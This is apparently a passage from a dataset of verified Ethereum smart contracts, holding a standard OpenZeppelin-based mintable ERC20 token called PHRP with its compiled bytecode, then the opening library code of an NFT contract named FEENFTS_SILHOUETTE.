two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor() public { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract PHRP is MinterRole, ERC20Burnable { constructor() ERC20("PHRP", "PHRP") public { } /** * return See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806398650275116100715780639865027514610332578063a457c2d71461033a578063a9059cbb14610366578063aa271e1a14610392578063dd62ed3e146103b85761010b565b806370a08231146102b257806379cc6790146102d857806395d89b4114610304578063983b2d561461030c5761010b565b8063313ce567116100de578063313ce5671461021d578063395093511461023b57806340c10f191461026757806342966c68146102935761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b6101186103e6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b03813516906020013561047c565b604080519115158252519081900360200190f35b6101d5610499565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b0381358116916020810135909116906040013561049f565b610225610526565b6040805160ff9092168252519081900360200190f35b6101b96004803603604081101561025157600080fd5b506001600160a01b03813516906020013561052f565b6101b96004803603604081101561027d57600080fd5b506001600160a01b03813516906020013561057d565b6102b0600480360360208110156102a957600080fd5b50356105cd565b005b6101d5600480360360208110156102c857600080fd5b50356001600160a01b03166105e1565b6102b0600480360360408110156102ee57600080fd5b506001600160a01b0381351690602001356105fc565b610118610656565b6102b06004803603602081101561032257600080fd5b50356001600160a01b03166106b7565b6102b0610704565b6101b96004803603604081101561035057600080fd5b506001600160a01b03813516906020013561070f565b6101b96004803603604081101561037c57600080fd5b506001600160a01b038135169060200135610777565b6101b9600480360360208110156103a857600080fd5b50356001600160a01b031661078b565b6101d5600480360360408110156103ce57600080fd5b506001600160a01b038135811691602001351661079d565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104725780601f1061044757610100808354040283529160200191610472565b820191906000526020600020905b81548152906001019060200180831161045557829003601f168201915b5050505050905090565b6000610490610489610849565b848461084d565b50600192915050565b60035490565b60006104ac848484610939565b61051c846104b8610849565b6105178560405180606001604052806028815260200161100a602891396001600160a01b038a166000908152600260205260408120906104f6610849565b6001600160a01b031681526020810191909152604001600020549190610a96565b61084d565b5060019392505050565b60065460ff1690565b600061049061053c610849565b84610517856002600061054d610849565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610b2d565b60006105883361078b565b6105c35760405162461bcd60e51b8152600401808060200182810382526030815260200180610fb96030913960400191505060405180910390fd5b6104908383610b8e565b6105de6105d8610849565b82610c80565b50565b6001600160a01b031660009081526001602052604090205490565b6000610633826040518060600160405280602481526020016110546024913961062c86610627610849565b61079d565b9190610a96565b905061064783610641610849565b8361084d565b6106518383610c80565b505050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104725780601f1061044757610100808354040283529160200191610472565b6106c03361078b565b6106fb5760405162461bcd60e51b8152600401808060200182810382526030815260200180610fb96030913960400191505060405180910390fd5b6105de81610d7c565b61070d33610dbe565b565b600061049061071c610849565b84610517856040518060600160405280602581526020016110e26025913960026000610746610849565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610a96565b6000610490610784610849565b8484610939565b60006107978183610e00565b92915050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6107d28282610e00565b15610824576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b3390565b6001600160a01b0383166108925760405162461bcd60e51b81526004018080602001828103825260248152602001806110be6024913960400191505060405180910390fd5b6001600160a01b0382166108d75760405162461bcd60e51b8152600401808060200182810382526022815260200180610f716022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661097e5760405162461bcd60e51b81526004018080602001828103825260258152602001806110996025913960400191505060405180910390fd5b6001600160a01b0382166109c35760405162461bcd60e51b8152600401808060200182810382526023815260200180610f2c6023913960400191505060405180910390fd5b6109ce838383610651565b610a0b81604051806060016040528060268152602001610f93602691396001600160a01b0386166000908152600160205260409020549190610a96565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610a3a9082610b2d565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b255760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610aea578181015183820152602001610ad2565b50505050905090810190601f168015610b175780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610b87576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610be9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b610bf560008383610651565b600354610c029082610b2d565b6003556001600160a01b038216600090815260016020526040902054610c289082610b2d565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610cc55760405162461bcd60e51b81526004018080602001828103825260218152602001806110786021913960400191505060405180910390fd5b610cd182600083610651565b610d0e81604051806060016040528060228152602001610f4f602291396001600160a01b0385166000908152600160205260409020549190610a96565b6001600160a01b038316600090815260016020526040902055600354610d349082610e67565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b610d876000826107c8565b6040516001600160a01b038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b610dc9600082610ec4565b6040516001600160a01b038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b60006001600160a01b038216610e475760405162461bcd60e51b81526004018080602001828103825260228152602001806110326022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b600082821115610ebe576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b610ece8282610e00565b610f095760405162461bcd60e51b8152600401808060200182810382526021815260200180610fe96021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220248eba7224646eeba3978ab8b03a031a0e53920f123eff7ee9f815f0e3b83fd264736f6c634300060c0033
[ 38 ]
0xf1CB07ead021e40673eb852c5cA5d8528c4A2509
// SPDX-License-Identifier: MIT // File: contracts/FEENFTS_SILHOUETTE.sol // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP 